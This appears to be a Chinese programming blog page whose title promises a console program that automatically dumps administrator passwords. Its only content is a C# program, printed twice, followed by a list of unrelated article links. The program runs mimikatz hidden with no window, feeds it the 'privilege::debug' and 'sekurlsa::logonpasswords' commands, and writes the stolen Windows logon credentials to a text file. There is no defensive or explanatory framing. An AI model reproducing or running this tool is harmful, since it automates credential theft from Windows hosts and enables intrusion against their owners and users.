自动dump管理员密码控制台程序编写
来源:互联网 发布:imap ssl 端口 编辑:程序博客网 时间:2024/05/16 17:30
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
namespace hez
{
class Program
{
public static string sout = "";
static void Main(string[] args)
{
string item = "privilege::debug";
string item3 = "log sekurlsa.log";
string item2 = "sekurlsa::logonpasswords";
string fl = AppDomain.CurrentDomain.BaseDirectory + "mimikatz.exe";
string fl2 = AppDomain.CurrentDomain.BaseDirectory + "mimikatz.txt";
if (File.Exists(fl))
{
// p.StartInfo.FileName = fl;
// ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe");
ProcessStartInfo startInfo = new ProcessStartInfo(fl);
startInfo.CreateNoWindow = true; //不创建窗口
startInfo.UseShellExecute = false;//不使用系统外壳程序启动,重定向输出的话必须设为false
startInfo.RedirectStandardOutput = true; //重定向输出,而不是默认的显示在dos控制台上
startInfo.RedirectStandardError = true;
startInfo.RedirectStandardInput = true;
Process p = new Process();
Process process = Process.Start(startInfo);
process.OutputDataReceived += p_OutputDataReceived;
process.ErrorDataReceived += (s, _e) => Console.WriteLine(_e.Data);
//当EnableRaisingEvents为true,进程退出时Process会调用下面的委托函数
// process.Exited += (s, _e) => Console.WriteLine("Exited with " + process.ExitCode);
process.EnableRaisingEvents = true;
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.StandardInput.WriteLine(item);
process.StandardInput.WriteLine(item3);
Thread.Sleep(3000);
process.StandardInput.WriteLine(item2);
Thread.Sleep(3000);
process.StandardInput.WriteLine("exit");
process.WaitForExit();
process.Close();
if (File.Exists(fl2))
{
File.Delete(fl2);
}
FileStream fs = new FileStream(fl2, FileMode.CreateNew);
BinaryWriter br = new BinaryWriter(fs);
br.Write(sout);
fs.Close();
br.Close();
}
}
static void p_OutputDataReceived(object sender, DataReceivedEventArgs e)
{
Console.WriteLine(e.Data);
sout += e.Data;
}
}
}
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
namespace hez
{
class Program
{
public static string sout = "";
static void Main(string[] args)
{
string item = "privilege::debug";
string item3 = "log sekurlsa.log";
string item2 = "sekurlsa::logonpasswords";
string fl = AppDomain.CurrentDomain.BaseDirectory + "mimikatz.exe";
string fl2 = AppDomain.CurrentDomain.BaseDirectory + "mimikatz.txt";
if (File.Exists(fl))
{
// p.StartInfo.FileName = fl;
// ProcessStartInfo startInfo = new ProcessStartInfo("cmd.exe");
ProcessStartInfo startInfo = new ProcessStartInfo(fl);
startInfo.CreateNoWindow = true; //不创建窗口
startInfo.UseShellExecute = false;//不使用系统外壳程序启动,重定向输出的话必须设为false
startInfo.RedirectStandardOutput = true; //重定向输出,而不是默认的显示在dos控制台上
startInfo.RedirectStandardError = true;
startInfo.RedirectStandardInput = true;
Process p = new Process();
Process process = Process.Start(startInfo);
process.OutputDataReceived += p_OutputDataReceived;
process.ErrorDataReceived += (s, _e) => Console.WriteLine(_e.Data);
//当EnableRaisingEvents为true,进程退出时Process会调用下面的委托函数
// process.Exited += (s, _e) => Console.WriteLine("Exited with " + process.ExitCode);
process.EnableRaisingEvents = true;
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.StandardInput.WriteLine(item);
process.StandardInput.WriteLine(item3);
Thread.Sleep(3000);
process.StandardInput.WriteLine(item2);
Thread.Sleep(3000);
process.StandardInput.WriteLine("exit");
process.WaitForExit();
process.Close();
if (File.Exists(fl2))
{
File.Delete(fl2);
}
FileStream fs = new FileStream(fl2, FileMode.CreateNew);
BinaryWriter br = new BinaryWriter(fs);
br.Write(sout);
fs.Close();
br.Close();
}
}
static void p_OutputDataReceived(object sender, DataReceivedEventArgs e)
{
Console.WriteLine(e.Data);
sout += e.Data;
}
}
}
0 0
- 自动dump管理员密码控制台程序编写
- 配置控制台程序以管理员方式自动启动
- 在VS中如何让C#语言编写的程序自动以管理员身份运行
- 控制台程序自动全屏
- 程序自动生成Dump文件
- 程序自动生成Dump文件
- 程序自动生成Dump文件
- 程序自动生成Dump文件
- 程序自动生成Dump文件
- 程序自动生成dump文件
- 检查程序崩溃自动DUMP
- VC控制台程序编写(转)
- CodeBlocks+wxWidgets编写控制台程序
- 【c#】控制台程序编写计时器
- 在VS2003中编写控制台程序的方法,以及自动缩进快捷键: CTRL+K+F
- 通过VBS编写自动输入账号和密码、自动登录程序的脚本
- 让程序自动以管理员身份运行
- 如何以管理员身份自动运行 程序
- 判断点击li标签增加背景色为红色,如果点击的是第2个strong,当前的li增加背景色为绿色,
- ISP 图像传感器camera原理
- rest API中后台接收json对象数组
- 解决windows系统提示不是内部或外部命令的方法
- Android高清输出四大名“捕”
- 自动dump管理员密码控制台程序编写
- 内网穿透
- MapReduce之WordCount、FlowCount代码汇总
- sublime text使用手册
- String的常用操作
- ArrayList详解
- mysql主从复制错误
- 关于热修复
- HTML DOM 改变HTML